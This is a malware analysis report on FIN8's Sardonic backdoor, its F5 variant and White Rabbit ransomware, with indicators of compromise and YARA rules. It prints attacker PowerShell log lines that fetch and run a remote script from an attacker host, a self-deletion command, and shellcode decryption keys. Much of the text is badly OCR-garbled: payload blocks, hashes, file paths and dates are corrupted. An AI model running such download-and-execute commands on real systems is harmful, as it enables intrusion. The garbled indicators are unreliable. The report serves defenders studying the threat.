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In December 2021, Lodestone published an article linking a previously unknown ransomware
group, White Rabbit, to the threat actor group FIN8 after observing striking similarities
between the two during an investigation. The subsequent efforts by the cybersecurity
community have brought together experts from around the world to “follow the White Rabbit,”
so to speak, and gain more insight into an emerging threat.

Since the time the last article was published, Lodestone has observed evidence that a new
version of FIN8’'s BadHatch backdoor malware, Sardonic, has been deployed and seen in
use by White Rabbit. Lodestone experts have identified strong overlap between Sardonic
and this new backdoor malware, dubbed F5 and encountered as part of the investigation that
initially resulted in the discovery of the White Rabbit group.

Sardonic vs F5
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Overall, the functionality of the Sardonic .NET assembly (“MDAC.dII”) and the F5 assembly
(“Default.dll”) have strong similarities. They both contain Rivest Cipher 4 (RC4) encrypted
shellcode, with the decryption key contained in the DLL, and both are compressed using
Gzip. In the samples recovered by Lodestone, the decryption key for the “MDAC.dII"”
shellcode was 802d8B9Fe13f576163DEab429754cA0C, while the key for “Default.dll” was
15e280Ea9d63270Fb89763514cDCABf4. As reflected in the screen snippets below, the
decryption algorithms remained essentially unchanged.

mov ro9b, ©D1h ; initial key
mov rcx, 2BB4h ; number of bytes to decrypt
lea rll, loc 19+1 ; address of piece to decrypt
decrypt_ top: ; CODE XREF: seg@0©:loc 1917
xor [Fr11+rcx], r9b ; decrypt a byte of code
add r9b, [rll+rcx] ; update key
loc_19: ; DATA XREF: seg000:000000000¢
loop decrypt_top : decrypt a byte of code

db 95h

Sardonic Shellcode Decryption Routine

segoea:
5egoeo:
segBee:
5egoea:
seglea:
segoee:
5egoea:
segeea:
segheo:
? Segeee :
I

I

I

I

3 Segme
segoee

Segone:
Segoee:
segoee:
- |segeoa:

F5 Shellcode Decryption Routine

Although the F5 and Sardonic backdoors appear to function nearly identically to each other,

nt type:

Pure code

segment byte public 'CODE' useé4d

assume cs:segdee

assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
mov rob, 3Ah ; ':

mov rcx, 159Dh
lea rl5, loc_19+1

; CODE XREF: seg0e@:loc_19+j
Xor [r15+rcx], rob
add rob, [rilS+rcx]

DATA XR 2000 ; 000 860 000A1

loop loc_11
db &CCh

db 27h ; °

some features of the PowerShell script and the .NET DLL mentioned in the Bitdefender

paper appear to have been removed; the PowerShell script no longer has an option to kill an

existing process, and the “4BMARC2WKL” marker prepending the shellcode in “MDAC.dII"”
does not exist in “Default.dll”. Since these were minor features of the malware, Lodestone
could not determine why they may have been explicitly removed by the author.
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Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General  Details

Creating Scriptblock text (1 of 7): -
if (50742 -ne  Snull) { Stop-Process SD742 -Force
if {[IntPtr]=size -eq d |
i
Sae?d

="TWqOAAMAAAAEANAL/BAALgARARAAAARCANA AAAAAAAMABAAGAALAAAfugdAtaniIbgBTMORYGhp cy BwemBnemPtIGRhbm SvdCBiZSByd
WidgaWdgREITIG IvZGLLDODKIAAAAASAAABORCAATAEDAETL KTEALALALA AL ADAAAEL ATAAAHOAAAAGAAARAAAAVAAA AL ARAADAALAAAAE ALY BAAAAAARAMAEARAANAR
AAADgHMAﬁgMﬁAAAAAMF-DIU&AWBMAM#MAWMMMMPMWMDMMMMMMWMMwMBQMMOM

fuh A AlAAAC AAAAA MM D ASAAS CCAAAEGAAMAAA RS ARAACSIZ h A Al H cAAA A A AAA eAAS AR LA AA MDA BN
AAAAAMMCN\AGAManwammDMMMMMmMBBAAMMMAmMMEAMBALnJIh@MMMMAMCMEgMMAMMMMM
ARAAAAAALTMAALALAAAEQAASACAALIAY CIAAIGMARADALALAA LSS AALA A RO ARARARAAAAALALAA LSO NALAAREENACERARRAAAALARAMLAMALALAALSAE NMwWEACIASALACIALEY
ABAAAEKADAAAT + AQAABCgDAAAGCIgSAAAK g EAAHBYVEWAAL gs\WEAS pBo IpGF pYIAACAAAT O gEAMAGDEIDEgloFAAACgeDaWe YREUAAACSBEICKECAAACHImIgWAaDaWR Y KEUAAACHFgg
HjrmkeFgAACgYWCQa0asgWALLKEhYREARDaSgWALAKEOTOBAAAL g XAAAKKEg AAAROBAAAAMEIAAAGK AR ABswB AR AAAAAAAEZGOAAC oGP nMaAl AKC IMBARAKDC AAEAAAISTAA
AENEwol CRYREGECAAAKEwk WY SphxDALADIEw W MO Ulbx 4844 THMe COwli C GEFAAAK I csBgdvHw A AT twG LAY Gbx BAAArCE QLA Sg AR AIAF QLAY R AK AL A LS AA D ECLICIA KAAAAAA| AEwWE
UV AKAALALR MwWBODIAALAAWAAERE D SOAAAEIDAIAAAC O AAACog AAEAAIDKAAABCyAAATAAISOAAAEMFR MG gHEDYREtKc CBEGEREGHYBAkZ wRBhdYEWYREIAAACAANEEWDRY TBysqC
‘QcRB3FY CBEHKYgoAAEAAFINEEHkRMIE: EHBwmPBnACIEQicEQ X WEMHEC cg AMEAADLMFIUTBERMFFRMIK] cRERAYIAABAS BdEWURBACREZFYIAAEAABIEWOHEQWREwe HEQUHEQSRnAcREEEKN
|AcREZEHEQSAWC ARAQAAXRMLARE [y ()& A4 ElRwe RCSFRONRCRAVEwkRCOIWbyEAAL oynioeAigid A AKKmdg SWe AAIDLAAARIHADAAAEKC AALA QAL A AR o ACINKOgE AACA A A AL ADA AR AHYL]
AUNTAIMjcAAAAABOBAALANADAACN» AAC gBAAAGAUAACNTIH)pbmdzASAAAC AKAAACARA ATV TADWEAAATAAS ANV SUCOASABMCgAAPAI AA CHC bEHARAAAAAAAAI AAAF T THOCTIAA
ADEATNVAF g AMACAAA TR A GARAARAWASAR 0 ARARL AR SR gASMB ARAAA BAAASA g ALAANMAA AN BAANAACHAAAL A A A BA AL A AAS AR AAAAAALWDACAAMAAAB DAY YEBG BP ASYEEGD:
AXOEDWDGBAAABgAT AgoEEgCjhgnEBgCEAGEBg AR AwnEB gACAWoEBgAbAweEBgAwAgoEBg AFA ocEB DIAY cEBgEL AqoEBgDTA/QEBYB o AvOEEgDXAWEFBgABdLDEgDRATWAC g DGA+ UDBgh:
BlcEBgDAADCEBgUWAADBgAtEd2DBgCFASDBg CulaY EBgB4A 4D Egly ANEFEgBEENADBgUnadc EEgROA D EgBUAMDEgCRADLDBgD X ASWAC g Al Acl DB g BtARIDBgA 1 AJDBgALEYEBgBfBAA0E
pBBAMMDAAAAAKDAAAAAAAEAATDABABAANATMAEKAADABAAABAACTARAASOACAACAAWEAAICBAABIAADABWATACAAIAAAAGIABAALABMBAAABAAAADDAEAASAEQDVEFBMwWFTAFSEM
wFSAGMBAMAAAAAA KSDvAGEBACBOLAAAAA CW Adw DbwEFAAGRAAAMATYAL §R2AOU AnCEAAMAAM gAY AX BBy Cjlg AMAMC GEGAEBgAHAK A AAAA EYZ gRuAC cAAAA RS AMA hhhigBLABBwAAAA
AALWDGASLERgAIAAAAAAADAMYEKOGGEACKAAAALAAM Ax g EFAYABCw AAAAEAICARAAIACCAAAAMARA LA A ADA TWARAREATOOALAEAZ OUAAAEAIUAAAM AR CEAAAE Al MAAAI Al gLIAAAE
ADgUIAGAEADARAGAEBQAZAGAECgAPAGAEEARAGAEEAASAGAEEABBAGAEEABIAGAEEABRA GAEEABZAGAEEABhAGAEFOBpAGAEEA B AGAEEACBAGAEGgCIAGAEBg T AGAELADRAGAEBGDhA
NiAMADhACSENODpAEcADWDpAGAEPWD:AGCFRADIAGYETODABIEVOCZAGAERAChAGAECgCTAGA EBg ARABgBIAMRATwARA CZAFIF AMpAYIEB g Ax AUDFowASAKXSDIOCRAGAEBgAnaHsAL glud
AcAIAEABMANDE uABLAAELACMA QEUAC LA UADMAZOELAD A2 OF LA EM A QFuAELAT A ELAFMAZOE LAF A2 O EuAGMAGWEUAGEAICU A <AL gKDAIMAM I AAY Aun ABACAAAAAFAREASWEA o

Sardonic PowerShell Script with Process Killing Functionality

Evert 4104, PowerShell (Micrasoft- Windows-PowerShell)

General Details

(Creating Scripthlock text (1 of 8): A
§1644=1F[ It Phr]i:size -2q 4)
["TVqOAAMASAAEAAAL  BAAL gAAARARARAT, AdfugdatAnMIbgETMDhY GhpoyBeeem3ncmPtiGNhbm 3vd CBiZ 58yd
WiagaWdgRESTIGTvZG U uDOOKIAAAAARNAMBORCHMTAEDAAH G U At A A AR A A OA AN EL ATAMAILASANGARAABA AN LA AR R 288 A AUB AR AN E ARt AR g A BLA AR AR AR E BB BB B
MQAAMAMAMWUMMBMAMELMMMM AAAKAAAAAARARBAE A AR BPAAAAAMAAADADAAAASAAMAAAASRAAAAAAAAAAADAARAWAAACYLwAADAARRS
SAMAASALAAR AR E AR = BAAAANIAAACAAALALNA AR AR AR CCAAAEGAAAALAANAAAAAACSITDAAAAIIAALNAA AR AR g AAAAIAALANARAY
ASASARARA CAARG ALY wASADADAAAAWAARAACAAACUALAAAARAMASAA SRR AR BAMABAL N Ib GHAAAMMAAMAAD AMAMAC mMAMMAMMMMM&MAQqMMMﬂ
AAAALAAAANBOMAASAAMAREQAARACAAUAZ CIAAMAMAAAD, AAABNMWEQC alAAANT
BAENABASAEKADAAAT+AGARABCQEAAAGTQEAAAD nAwAABgp+ AgAABCgDAAAGC Y HmkGjmkI WiggAEAAABSAKAEAAAYMEgMSAIgSAAAKEL S palgobwAAC gc WA DaSgUAAAKERYIBoSpKBC
AAA DA CAANIoFOAACIGWAAAK dAC AAAWahl DKBIAAMA 0 GimIqEgloEg AATMEIAAA BlicAABswBAB 0 AAARAGAA ECUZFwAAC g0 GRnMYAAAK CIMZAAAKD CAAEAAA SMAAAENKw ol CRYRBGEaAAA
KEwkWCY Sphusdd AnlEwOWMOUIbxwA AL e TBddeC CwGC GEdAAAKS AcsBydvHOAA ChwGLAY Ghu DA Are EOU g ASq A A AIAF Ay RwAK AL AL A AIADWECUIQAK AL A LA AIABWBLU W AKA A A A ABMWBD
D3AALAAwAAEREg SMAAAEATAAADHG AA L gog AAEAAIN AAABCyAAACIAL SMARAEMF hMGKagHECY RBE cCBEGEREGHY BdkZwRBRdYEwY REWAAAGAAMIEWDRY TBysqCOcREMFYCBEMKY gga
AEAAFIME:EHKRMIBREHEwmPnACEGcEQCWEBMHE Qg AAEAADLNFIUTEBMFFhMIK ] cRERAYIAABAABIEWUREACRBZ FYIAABAABdEW O HECWREWoHEQUHEDSRnAcRBBEK N AcREZEHEQSRWC AL
ACAARMLARE fRARAAEIRwcRCSFROIRCRAY Evde RCOIW b 8BAA Moy nioeig g ARA KK Y ghm e AAI0AA LB DA DA AA EKBIA AR AADAABCD eFuwi A SMAAAFIDALAAA G s H A Col CAAAEKg AAAEITSKIB
AAEALAALA S AAAR Il Lwhlz| SAAAAAALAR A AR AIAEA LA g AATACAS KwFALL L IR WEnew ARAACY C g AABAAA AT Uw D e CgAAEAAA AT MHVUIEAAA A AR AABOC AL A OImx v gAALALA
AAACAAABVIUCNAKCAAAS gEzABYARAEAAAANARAABWAAAALAAAAEAAAAEWASACAAL AL AL A AR DARAAMAAAADAAAAACIAASAEAAAADAAAAACIAAAA AR AEAAAAALARBAEARAAARA
A AUGPSBAY AewPSBAYAYQLHEASAGOUALAY AICL BAYAEwWH: BAY AGA b BAY Ap o N BAY Acg M BAY AiwMx BAY A DAL BAYAD QL aBAYACOL 2 BAY Auw = BAY AY gQeBOYAZM o BOYARWKaBOYALWWE
BAYAOARFAC0AL ORMBAY AgquwTaBAVAMAPaBAYABgIFEAY A=CVFEAY ASOMNFBAYAHGLSBAY ASAFFBAYAwARFBAY ADATBAY A+ QFFEAYANAFFEAY ADw I FBAYAP gRFACo AnwFAMBAY ASONFBAYASC)
FFEAYARAXIBAY AW YFBAYAVOFFEAAAAADTAAAAAAABASEAACADAISASORIAAEAADAAADAABAEAL ERAAWAHAAMBAABMACAAKOAGAACAEWEAAHAAAABEAAY ACWATACAAACAAAGDABA
LABMEAMEeAAAABCAGAMAAECBWALMBECD AESEMwWEgAFBMWEAVYENWGEAFoBAAAAALAAKSByANIBACBO AP AR CWAFIATgEFAR gg Al fRRY g Mg AQUAICEAAAMAAI g MAHEBEgC X g Al A
ACGELMEBgAHAISAAAAAIEY U ORmAG cAAAA AR AMA hhizEHeBBw Al A A A AWD G4 a0 BIQEIAAAA AN ADAMYBR QGFACDASA A A A A MAY g GEAZEBEWAAAAEAW WAL AALA g ALSAMALDARAADATY
BALAEAVGEAAAEAPAAAAAEAWGUAAAIARAEAAAEAWWARAAIAA AL AMASAAAATAT AL AEAWWALAAI Arg ARAANMASCIAA LA TIA T AR A AL ASWDIAAAY AW gLIAAREADgLIAL MEATARALMEE
gAZALMEC gApALMEEAAX ALMEEAA AL MEEABEALMEEAEJALMEEABRALMEEAEZAL MEEAERALMEFOE pALMEEAR:ALMEEACEALMEGGCIALMEBgCx ALMEIADRALMEEg DA LML wDNhALMEMwDpA
JUFOADw AQIBOODpAIUESACT AL MEXWC ksl MEZC:CZAL MEB g AIAR g ChwAlAKAR dwCZAIOFfwAhATIBBaApaKOF giec AesDo ACRAL MEBgAnAHsABC wh AsdiwEud BMAnAFuABs AvwEuACMAyAFuAT
sy AEUADMAYAE uADs Ay A EuAEMAYAE LA EsfyA EuAFMAYAE LAFsAyAEUAGMAzgEuAGSA= AFJAI ABCKDAIMAC gllAAY Arg A BACAAAAAFAAE AThc AAAY AACC G Zw A ABwAMAFEARAAUBAABAWBYA
QEAMDAAAAMATGAAACAC gAAALABIAAAAEAAAAALAABAASAAAAAY T AAAIAAAAAAAAAL AL ALK DA QEAAALAAAAAL AL AR AAAAAA PCBFEAAAAAAEARIABDADAAY AWAHAANMAALS
AL MDYER pYOFy cmF35W Spd FRICEWTakp P TV MTAAMDYGMNKR GMTiwRKY 1NDCx MUE2 Qi T QTRCMTg SNEEAMOM2RD g 2 NTAZMABVIN T ODO3MA BwNIVFRIWEIMOEwMOBRONIYARpY IRy w

F5 PowerShell Script without Process Killing Functionaliity

Another observation Lodestone made during the investigation was a change in the method

name executed by the PowerShell script. In Sardonic, the method used was
“‘MSDAC.PerfOSChecker::StartCheck”; however, in F5, the name was changed to
“05518470.kfC09272::p65E1a71”. Lodestone did not observe evidence of threat actors
creating a new Windows Management Instrumentation (WMI) consumer for the F5

PowerShell script. It is possible that efforts to configure F5 to establish this persistence were

abandoned once a decision was made deploy ransomware.
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progety walue

md3 O70EB2C2F 1 ASFEECEDBIDETR1 CAFZ205

shal CITISCEATE407AR 131 BAIFADDCDESI2 ADGFOITE

sha? 56 FARTRORESEIF 1 FEEOF1 20771 8 1 EFEFNI B4 2 SRAFANRA2 TEALABINFAEIGC 54490
age 1

size 122 (biytes)

format AsDs

debugger-stamp (9554826 (Sun Jul 23 16:36:54 2102 | UTC)

path CoUsers dew win 10 000 Diorwmentsh Sardonic’ Sardanicl il Loaderdszarm bl ab i D0 Faleaset WS DAC pdh
Guid 2071347 -TEOF-474E-ASF-IH 2 ATOSIRFCFE

property value

md5 OBESFED1ERSTAAFRF AR RO0DAS0EIRS

chat 04437 CE1 SCAAFFAOCEE] 4 CAAATIADCOIEEEDER
shal36 2 ! 0I08R

A6 AsFaA0ES | DE, | mrila 10

age 1

o 12 ytes Program Database PDB
format R30S

debugger-starnp  0xB03DEQEC (Fri Sep 07 23:04:44 2046 | UTC)

path Allzershdey wi Do entsh ili

Guid B1748428-A0E-41EA-B32- ABAEBSAAG10

Paths for MDAC.dII and Default.dll

Lodestone encountered some difficulties in the analysis of “Default.dll” which hampered
progress. What Lodestone has determined thus far, however, is that, like the shellcode in
‘MDAC.AII", the “Default.dll” shellcode first checks the name of its parent process. If the
parent process is “powershell.exe”, the shellcode will open “Isass.exe” with
SeDebugPrivilege and copies its system token. Then, it creates a child process,
“WmiPrvSE.exe”, with system privileges to enable it to inject its own code and run with
elevated privileges. The malware then generates a 32-byte hardware ID based on the
computer name and C volume serial number. The system time and hardware ID are then
encrypted with a custom algorithm and placed into a 64-byte buffer before an attempt is
made to connect to the C2 server. If the malware is unable to reach the C2 server after five
attempts, it will terminate itself.

No. Time Source Src Port  Destination

Dst Port Protocol Info

Unsuccessful attempts to reach the C2 server

Evidence of a Human Operator

Interestingly, Lodestone may have found evidence supporting Bitdefender’s belief that the
Sardonic or F5 loader is copied to the victim’s machine via a manual process instead of
automation. The logs Lodestone analyzed during the course of its investigation show that the
filename of the URL hosting the malware was always a random, 6-character alphanumeric
string that changed nearly every time the command was run. In one of the events, however,
Lodestone noticed that the filename contained seven characters. The PowerShell log in the
image below shows a command to download a file from hxxps://104-168-201-
26.sslip[.]io/36d851e. Roughly one minute later, another command was run to download a
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file from hxxps://104-168-201-26.sslip[.]io/6d851e. Lodestone believes that the command
was likely tasked or ran interactively; following the failure, the command was likely re-tasked
to fit the aforementioned 6-character URL target.

Event 400, PowerShell (PowerShell)

General Details

SequenceMNumber=13

HostName=ConsoleHost

HostVersion=5.1.14393.4583
Hostld=a78797bd-1e3a-4524-a07a-ad7eaaT9ede2
HostApplication=powershell.exe -neop -ep bypass -c iex (New-Object System.Net.WebClient).DownloadString("https://104-168-201-26.sslip.io/36d851e")
EngineVersion="5.1.14393.4583
Runspaceld=beacBedb-d1e7-4f16-84¢3-a21919310b1d
Pipelineld=

CommandMNames=

CommandType=

Scripthame=

CommandPath=

CommandLine=

Log Name: Windows PDwerSheli
Source: PowerShell (PowerShell) Logged: 8/18/2021 4:08:06 PM

PowerShell with a Typo

Event 400, PowerShell (PowerShell)

General Details

Engine state is changed from Mone to Available.

Details:
NewEngineState=Available
PreviousEngineState=None

SequenceNumber=13

HostName=ConsoleHost

HostVersion=5.1.14393.4583

Hostld=98134ed0-58ed-46bb-a10b-abtdecfd5ded]

HostApplication=powershell.exe -neop -ep bypass -c iex (New-Object System.Net.WebClient).DownloadString('https://104-168-201-26.sslip.io/6d851e")
EngineVersion=5.1.14393.4583

Runspaceld=a2f203e3-defd-4088-0b43-9ab466882e05

Pipelineld=

Log Name: Windows PowerShell
Source: PowerShell (PowerShell) Logged: 8/18/2021 4:09:05 PM

PowerShell with the Typo Corrected

White Rabbit

When Lodestone first acquired a sample of the ransomware, its experts observed that it was
highly obfuscated, had strange file extensions (.physiat and .uderro), and used an invalid
digital certificate. Additionally, Lodestone determined that the malware checked the

” o«

command line arguments using “-f*, “-I”, “-p”, and “-t” flags.
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Found %u, encrypted %u, errors %u
Bad start time: "%s"

%s(%u).%sSERROR %u - %s
Global\%08X-%04X-%04X-%04X-%08X%04X
A

Operating System

Floppy
%S

cmd /¢ choice /t %u /d y & attrib -h "%s" & del "%s"

Manually Decrypted Ransomware Strings

Lodestone’s theory that the “-p” flag was for the password used to decrypt the payload was
confirmed by a Trend Micro article on White Rabbit, as Lodestone’s sample used the same
passphrase as the sample analyzed by Trend Micro. The other flags allow an operator to
specify which files (-f) to encrypt, an output (-) for a log file, and a start time (-t) to begin
encryption (if no time is specified the ransomware executes immediately). Once the malware
completes its encryption function it executes a self-deletion function using the command:

cmd /c choice /t 9 /d y & attrib -h \"[fname]\” & del \"[fname]\”

SignerCertifticate : [Subject]
E="releaset+cert1ficates@nozi 11a. com™, CH=Moz11la Corporation, Ol=Firefox Engineering Cperations,
O=Mozilla Corporation, L=Mountain Wiew, S=California, C=US

]

Her
=0hgiCert SHAZ Assured ID Code Signing CA, Ol=www.digicert. com, O=DhgiCert Inc, {=U%

[Iss
Ch
Sertal HNumber )
ODODEBS 3F95 7337 FREAFIBL4AGLS EL490

[Mot Before]
53/6,/2020 5:00:00 PH

Mot After]
SSALZSZ0FL 5:00 ) AM

[Thumbprint
91CABEAS 096626 26E34 32668734 BCAFZDDIBABEA

TimeStanperCertificakte § [Subject]
CH=DigiCert Timestamp Responder, O=MigiCert, C=l5

[Issuer]
CH=DigiCert Assured ID CA-1, Ol=wew.digicert.com, O=MgiCert Inc, C=U5

[Serial Humber)
03019A0Z 1AF F5 B ERDEDGEAERL FFOGE

[Mot Before]
1052172004 5:00:00 PM

[Mot After]
10712024 5 :00:00 PM

[Thumbprimt
614027109102E301 69622487 FDES DEODAIS 2B0AD

Status i HashMismatch

StatusMessage : The comtents of £11e N i = hove been
changed by an unauthorized user or process, because the hash of the file does not match the hash
stored in the digital signature. The script cannot run on the specified system. For more
information, run Get-Help about_5igning.

Path T

SignatureType i Authenticode

I=0567 nary : False

Certificate Used by White Rabbit




Lodestone continues to monitor the situation for any further developments and would like to
thank its partners at Group-IB for their contributions to this investigation. To learn more about
Group-IB, visit the following link: https://www.group-ib.com/.

Indicators of Compromise

IP Addresses

o 64.44.131[]34

e 91.90.194[]30

e 104.168.132[.]128
e 170.130.55[.]120

Domains

e 91-90-194-30.sslip[.]io
e 104-168.132[.]128.nip[.]io

URLs

Filenames

o “default.dll”
o “l.exe”
e “z.exe”

Hash Values

e 655c3c304a2fe76d178f7878d6748439 (“default.dll”)

o 6ffa106ac8d923ca32bc6162374f488b (Sardonic PowerShell script)
o fb3de0512d1ee5f615edee5ef3206a95 (Sardonic x86 DLL)

» 4a03238e31e3e90b38870ffc0a3ceb3b (Sardonic x64 DLL)

» Beffdd959b1f7e11e1c2b31af2804a07 (F5 PowerShell script)

o d9f5a846726f11ae2f785f55842c630f (F5 x86 DLL)

» 087f82581b65e3d4af6f74c8400be00e (F5 x64 DLL)

e e49fe89435297f1bca1377053eaabded (White Rabbit ransomware)

YARA Rules

rule fin8_powershell_dll_loader

{
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meta:

author = “Dmitry Kupin”

company = “Group-IB”

date = “2021-12-28

description = “Powershell .NET DLL Loader”

sample_private =
“adac9106216e6d2eb2a6d1a0a01d7286dddd6bafdab9eb1cd182dd49924663a2”

strings:
[* if([IntPtr]::size -eq 4){ */

$s0 ={ 3D 69 66 28 5B 49 6E 74 50 74 72 5D 3A 3A 73 69 7A 65 20 2D 65 71 20 34 29 7B
}

I* [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String( */
$s1={5B 5379 73 74 65 6D 2E 52 65 66 6C 65 63 74 69

6F 6E 2E 41 73 73 65 6D 62 6C 79 5D 3A 3A 4C 6F

6164 28 5B 53 79 73 74 65 6D 2E 43 6F 6E 76 65

72 74 5D 3A 3A 46 72 6F 6D 42 61 73 65 36 34 53

74 72 69 6E 67 28 }

condition:

all of them

}

rule fin8_dotnet_shellcode loader
{

meta:

author = “Dmitry Kupin”

company = “Group-IB”

date = “2021-12-28
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description = “Sardonic Shellcode Loader”

sample = “03e8b29ad5055f1dda1b0e9353dc2c1421974eb3d0a115d0bb35c7d76f50de20” /*
Default.dll (x86) */

sample = “4ee21b5fd8597e494ae9510f440a1d5bbedb01bc653226938df4610ee691f3a” /*
Default.dll (x64) */

strings:

$pdb1 = “C:\\Users\\dev_win10_00\\Documents\\f5\\F5Utility\\LoaderAssembly\\obj\\ ” nocase
ascii

$s0 = “Default.dll” fullword wide

$s1 ="“12F9333185494642C1587A546D2287C1A4C01A2A” fullword ascii
$s2 = “05F6DF120FF54415A6B75A4B1894A83C6D865030” fullword ascii
$s3 = “78893E31FF10BDE2CBCB8A51664788D7DCOFC194” fullword ascii
$s4 = “15e280Ea9d63270Fb89763514cDCABf4” fullword ascii

condition:

2 of them

}

rule fin8_shellcode_memory

{

meta:

author = “Dmitry Kupin”

company = “Group-IB”

date = “2021-12-28

description = “Sardonic Shellcode(in the memory)”
strings:

$h_x86 = { E8 00 00 00 00 5F B9 [2] 00 00 [2] 30 ?? OF 17 00 00 00 02 ?? OF 17 00 00 00
E2 FO}
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p
*a1 = ((*al * (*al << B)) >> 13) * (*a1 << 18) & OxFFF80000;

*a2 = (4 * *a2) & OxXFFFFFFEOD A (((4 * *a2) A *a2) >> 27);

*a3 = ((*a3  (*a3 << 13)) >> 21) A (*a3 << 7) & OxFFFFF800;

V4 = (*ad << 13) & OxFFF00000 * ((*a4 * (8 * *ad)) >> 12);

5

$chunk_x86 = { 89 3A 8B 03 8D 3C 85 ?? 22 ?? ?? 31 F8 83 E7 EO
C1ES8 1B 31 F8 89 03 8B 39 89 F8 C1 E0 0D 31 F8

C1E7 07 C1E8 1581 E7 00 F8 FF FF 31 C7 89 39

8B 3E 8D 04 FD ?? ?? 2?2 ?? 31 F8 C1 E7 0D 81 E7

00 00 FO FF C1 E8 0C 31 F8}

$h_x64 = {41 [2] 48 C7 C1[2] 00 00 4C 8D [2] 00 00 00 45 30 }

p

*a1 = (*al << 18) & OXFFF80000 * ((*a1 A (*al << 6)) >> 13);

*a2 = (4 * *a2) & OxXFFFFFFEOD A (((4 * *a2) A *a2) >> 27);

*a3 = (*a3 << 7) & OxFFFFF800 * ((*a3 * (*a3 << 13)) >> 21);

V4 = (*ad << 13) & OxXFFF00000 * ((*a4 * (8 * *ad)) >> 12);

5

$chunk_x64 = { 89 01 8B 02 44 8D 14 85 ?? 22 ?? ?? 44 31 D0 41
83 E2 EO C1 E8 1B 44 31 D0 89 02 45 8B 10 44 89

DO C1 EO 0D 44 31 DO 41 C1 E2 07 41 81 E2 00 F8

FF FF C1 E8 15 44 31 DO 41 89 00 45 8B 11 42 8D

04 D5 ?? ?? ?? ?? 44 31 D0 41 C1 E2 0D C1 E8 0C

4181 E2 00 00 FO FF 44 31 DO }

condition:
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any of them

}

Additional Information and References

Michael Gillespie’s White Rabbit announcement on Twitter:
https://twitter.com/demonslay335/status/1470823608725475334

DOWNLOAD PDF
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https://twitter.com/demonslay335/status/1470823608725475334
https://lodestone.com/wp-content/uploads/2022/02/White-Rabbit-Continued-Sardonic-and-F5-copy.pdf

